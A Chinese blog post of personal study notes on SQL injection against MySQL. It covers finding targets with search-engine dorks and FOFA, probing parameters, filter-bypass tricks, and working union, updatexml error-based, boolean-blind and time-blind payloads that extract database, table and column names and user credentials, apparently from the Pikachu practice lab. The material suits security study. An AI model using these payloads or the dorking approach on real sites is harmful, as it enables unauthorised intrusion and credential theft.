首页 > 数据库 >sql注入学习记录

sql注入学习记录

时间:2024-11-07 22:19:54浏览次数:1  
标签:记录 数据库 database concat sql table 注入 select schema

Sql注入思路

1、搜索目标

通过谷歌语法(如 公司 inurl:.asp?id=)查找目标网站

通过fofa viewer进行查询目标

 

2、查找注入点

存在位置,参数与数据库交互的地方,可能出现在get参数,post参数,user-agent,cookie等地方

 

3、测试是否存在注入点

  • 通过在参数后添加符号’,”,),)),查看页面是否出现数据库报错

 

  • 数值型参数

http://abc/1.php?id=1+1,查看参数是否带入数据库进行运算,如果能正常显示

http://abc/1.php?id=1 and 1=1(页面正常)和http://abc/1.php?id=1 and 1=2(页面异常)

 

  • 字符型参数

http://abc/1.php?id=1’ and ‘1’=’1(页面正常)和http://abc/1.php?id=1’ and ‘1’=’2(页面异常)

 

  • 函数报错注入

如通过updatexml()报错:

http://localhost/index.php?name=1'or updatexml(1,concat(user(),0x7e,version()),1) %23&pass=1

 

 

  • 时间注入

如通过用sleep()函数延迟页面响应时间

http://abc/1.php?id=1’and if(1=1,sleep(5),1)

 

 

绕过方式

1、替代空格

+号,%09,%0a,%0b,%0c,%0d,%20,%a0

2、大小写绕过

3、base64编码,url编码绕过

4、and用&&  or用||

5、对特殊符号进行编码,如url,hex编码,base64,十六进制编码,Unicode编码

6、单引号过滤,加上%df

7、双写绕过

8、换行符绕过(\N)

9、注释符内联注释绕过

union selecte =/*!union*/ select

 

 

4、确认注入点,进行注入(mysql为例)

Union注入

1、order by测试字段数量

2、select 1,2...测试可写字段值

3、在可写字段值上查询当前数据库名称database(),数据库版本version()

Mysql5.0以上版本可以在默认库上查询到表和字段的名称,表结构如下

Information_schema数据库

Schemata表(schema字段)

Tables表(table_schema字段,table_name字段)

Columns表(table_schema字段,table_name字段,column_name字段)

根据database()查到的数据库名称,查询对应的表和字段值

 

函数报错注入

利用函数报错获取数据库名称

1’ and Updataxml(1,concat(0x7e,database()),1)#、

获取表名称

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '1'='1

获取列名称

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),1) and '1'='1

获取字段值

1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.users)),1) and '1'='1

盲注

  • 布尔盲注

通过页面显示的对错来猜测字符串的长度和值

查数据库名称长度

' and length((select database()))=3#

查数据库第一个字符是什么(ascii码测试)

' and ascii((substr((select database()),1,1)))=112#

再通过类推,查找表名和字段名称,查询对应的数据

 

  • 时间盲注

根据页面显示的时间来判断数据库的名称的长度

vince' and if(length((select database()))>1,sleep(3),1)#

根据页面显示的时间来判断数据库的名称的字符

vince' and if(ascii((substr((select database()),1,1)))=112>1,sleep(3),1)#

 

 

 

 

 

 

 

存在问题

1、通过以上方式查找不到sql注入的漏洞,卡在了第三步,测试不到注入点,是否还有其他欠缺的方面,请大神指点一下方向

标签:记录,数据库,database,concat,sql,table,注入,select,schema
From: https://www.cnblogs.com/8abs/p/18534128

相关文章

  • php毕业设计流浪动物领养系统宠物领养网站PHP+MySQL+HTML计算机毕业设计PHP源码获取ph
    一、功能介绍基于php+mysql+html前台:网站首页宠物推荐最新宠物新闻咨询宠物分类宠物资讯评论登录/注册加入购物车、领养、个人中心后台:各种增删改查系统设置分类管理宠物管理领养管理评价管理新闻资讯用户管理二、效果展示三、代码展示CREATE......
  • 【记录分享】多任务黑客攻击仿真模拟器
     在电影和电视剧中,黑客攻击的场景往往充满了紧张、快速的打字声和不断滚动的命令行界面。为了让这种体验更具沉浸感,我们可以通过编程模拟出一个真实的黑客攻击过程。本篇文章将介绍如何使用Python和Tkinter库设计一个多任务黑客攻击仿真模拟程序,包含攻击模拟、网络带宽......
  • 记录大佬的思路
    洛谷染色问题,即2024CSP-S第三题。原题复述:给定一个长度为n的正整数数组A,其中所有数从左至右排成一排。你需要将A中的每个数染成红色或蓝色之一,然后按如下方式计算最终得分:设C为长度为n的整数数组,对于A中的每个数左侧没有与其同色的数,则令Ci=0。否则,记其左侧与其最......
  • 数据库SQL Server语言 练习题合集
    文章目录一、“小学生”题库二、“硕士”题库三、“博士”题库四、“博士后”题库五、“博导”题库六、“校长”题库七、“院士”题库总结1.**多表联接查询**:2.**嵌套查询(子查询)**:3.**去重与计数**:4.**条件筛选与分组**:5.**比较与计算**:6.**实际应用**:总结:一......
  • 11月7日 NOIP模拟(难题math、矩阵游戏matrix、括号序列seq、道路road) - 模拟赛记录
    PrefaceT1试图找规律失败,正经推反而几分钟就出来了。以后应该少想这些歪门邪道(除非实在闲的蛋疼或者没有一点头绪,且必须要打完所有能打的子任务比如暴力或特殊性质;而且必须在用常规方法思考过后,才能够用一些稍微不那么常规的方法)至于T2、T3、T4,因为知道T1浪费了太多时间,都是......
  • 安装MySQL:从新手到专家的第一步
    引言在现代应用开发中,MySQL是最广泛使用的关系型数据库之一。无论是用于小型网站的后台支持,还是大型企业级应用数据管理,掌握MySQL的安装与配置都是每个开发者的必备技能。然而,对于初学者来说,安装MySQL的过程有时会遇到各种坑。本文将带你逐步了解如何在不同操作系统上安装MySQ......
  • MySQL基本命令:新手必备的数据库操作技巧
    引言MySQL是全球最流行的开源关系型数据库管理系统之一,广泛应用于各种应用项目中。对于新手来说,掌握MySQL的基本命令是非常重要的,能够帮助你高效进行数据管理和操作。这篇文章将介绍MySQL的一些基本命令,指出新手容易踩的坑,并为你提供实用的操作示例,让你在使用MySQL时更加得心......
  • 学习openeuler操作系统的记录本
    1.下载以及配置openeuler在官网里面下载openeuler操作系统,在官网的文档里面里面查看相对应的注意事项,(一定要会阅读官方文档),在官网查看下载的对应操作系统需要的最小cpu,以及磁盘大小等分配合适的虚拟硬盘,配置的过程要一步一步来,防止出现分配不合理,而导致的操作系统无法正常运行的......
  • sql练习专场-02
    题目1:这道题是查询出至少连续出现3次的数字createtablesql1_5(  idint,  numint)rowformatdelimitedfieldsterminatedby'';  INSERTINTOsql1_5(id,num)VALUES(1,1),(2,1),(3,1),(4,2),(5,1),(6,2),(7,2);sql如下:witht1as......
  • SparkSQL
    一、概述1.1、什么是sparksql  SparkSQL是Spark中用于处理结构化数据的模块,它提供了两个主要的编程抽象:DataFrame和DataSet,并且还可以作为分布式SQL查询引擎使用。SparkSQL的设计目的是简化结构化数据的处理和查询,同时提高执行效率。  传统的HiveSQL通过......